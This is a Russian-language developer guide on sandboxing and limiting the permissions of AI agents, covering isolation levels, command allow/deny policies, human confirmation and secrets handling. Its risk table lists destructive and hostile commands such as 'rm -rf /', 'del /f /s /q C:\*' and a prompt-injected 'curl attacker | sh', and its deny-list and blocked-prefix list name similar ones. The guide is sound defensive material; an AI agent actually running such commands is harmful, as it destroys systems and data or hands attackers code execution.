Перейти к основному содержимому

Песочница и права ИИ-агента

Разработчику Инженеру

ИИ-агент — это LLM плюс цикл "подумал → вызвал tool → прочитал результат". В отличие от чата, агент меняет мир: пишет файлы, запускает shell, ходит в API. OWASP LLM06 (Excessive Agency) — как раз про избыточные права; обзор угроз — в статье 1.

Правило: агенту нельзя доверять больше, чем стажёру с тем же уровнем доступа — и только в изолированной среде.


Что может пойти не так

СценарийКоманда / действиеПоследствие
Ошибка интерпретацииrm -rf / на LinuxУничтожение ОС
Ошибка на Windowsdel /f /s /q C:\*Удаление системных файлов
Промпт-инъекция из файлаcurl attacker | shRCE
"Очистка диска"Удаление /var, node_modules всего дискаПростой
Gitgit push --force на mainПотеря истории
БД через MCPDROP TABLEПотеря данных

Модель не спрашивает здравого смысла — она оптимизирует завершение задачи из промпта.


Матрица окружений

ОкружениеДопустимый уровеньРекомендации
Личный pet-проектСредний рискОтдельный пользователь ОС, бэкап, без корпоративного VPN
Рабочий ноутбукНизкийАгент только в каталоге репозитория; без sudo; корпоративная политика
CI / облакоМинимальныйEphemeral container, секреты из CI vault, нет доступа к prod
Production automationКритическийHITL, read-only по умолчанию, отдельный service account

Песочница — уровни изоляции

1. Ограничение каталога (минимум)

  • Агент работает только в корне проекта (Cursor workspace, --cwd).
  • Запрет выхода на ../ в tool policy где возможно.
  • Не открывать домашнюю директорию и ~/.ssh.

2. Отдельный пользователь ОС

  • Linux/macOS: пользователь agent без sudo, без группы docker если не нужно.
  • Файлы проекта — chown так, чтобы агент не писал в системные пути.

3. Docker / devcontainer

  • Агент внутри контейнера; на хост монтируется только том проекта.
  • Не монтировать docker.sock, ~/.aws, ~/.kube без крайней необходимости.
  • Сеть: network: none или ограниченный egress для прототипов.

См. контейнеризацию.

4. Виртуальная машина

  • Для экспериментов с OpenInterpreter и произвольным shell — отдельная VM со снапшотом; после сессии — откат.

5. Облачная sandbox

  • Изолированные среды (E2B, Modal, vendor sandboxes) — агент не видит корпоративную сеть.

Политика команд (allow / deny)

Где платформа позволяет — allow-list:

РазрешеноЗапрещено или только с подтверждением
git status, git diffgit push --force, git reset --hard
npm test, pytestnpm publish, произвольный curl | bash
docker build (в sandbox)docker run --privileged
Чтение файлов проектаЧтение ~/.ssh, .env prod

Деструктивные префиксы для блокировки на уровне wrapper: rm, del, drop, truncate, mkfs, dd.


Human-in-the-loop

Обязательное подтверждение человека:

  • удаление файлов вне tmp/ или массовое удаление;
  • отправка email / сообщений;
  • транзакции в БД кроме явно read-only tools;
  • установка пакетов из нестандартных источников;
  • изменение CI/CD и облачной инфраструктуры.

В Cursor / Claude Code — режимы "спросить перед выполнением"; в custom агентах — policy engine до вызова tool.


Секреты и сеть

  • Нет production API-ключей в environment агента на ноутбуке.
  • Агент в CI — credentials только на время job, scope minimal.
  • Блокировать доступ агента к metadata cloud (169.254.169.254) в untrusted sandbox.

Интеграция с AgentOps

Эксплуатация в prod — не только sandbox, но и observability: trace каждого tool call, max_iterations, budget cap — AgentOps, DevOps AgentOps.


Чек-лист

  • Агент не запускается с root / Administrator на хосте с личными данными
  • Рабочая директория ограничена репозиторием или контейнером
  • Деструктивные команды — подтверждение или запрет
  • Production-секреты вне reach агента
  • Есть бэкап или снапшот перед длинной agent-сессией
  • Логи tool calls хранятся для разбора инцидентов

Итоги

Песочница — не паранойя, а условие использования агентов в разумных границах. Docker, отдельный пользователь, allow-list команд и HITL снижают риск OWASP LLM06 и последствий промпт-инъекции. MCP и RAG — глава 3; тесты атак — Red team.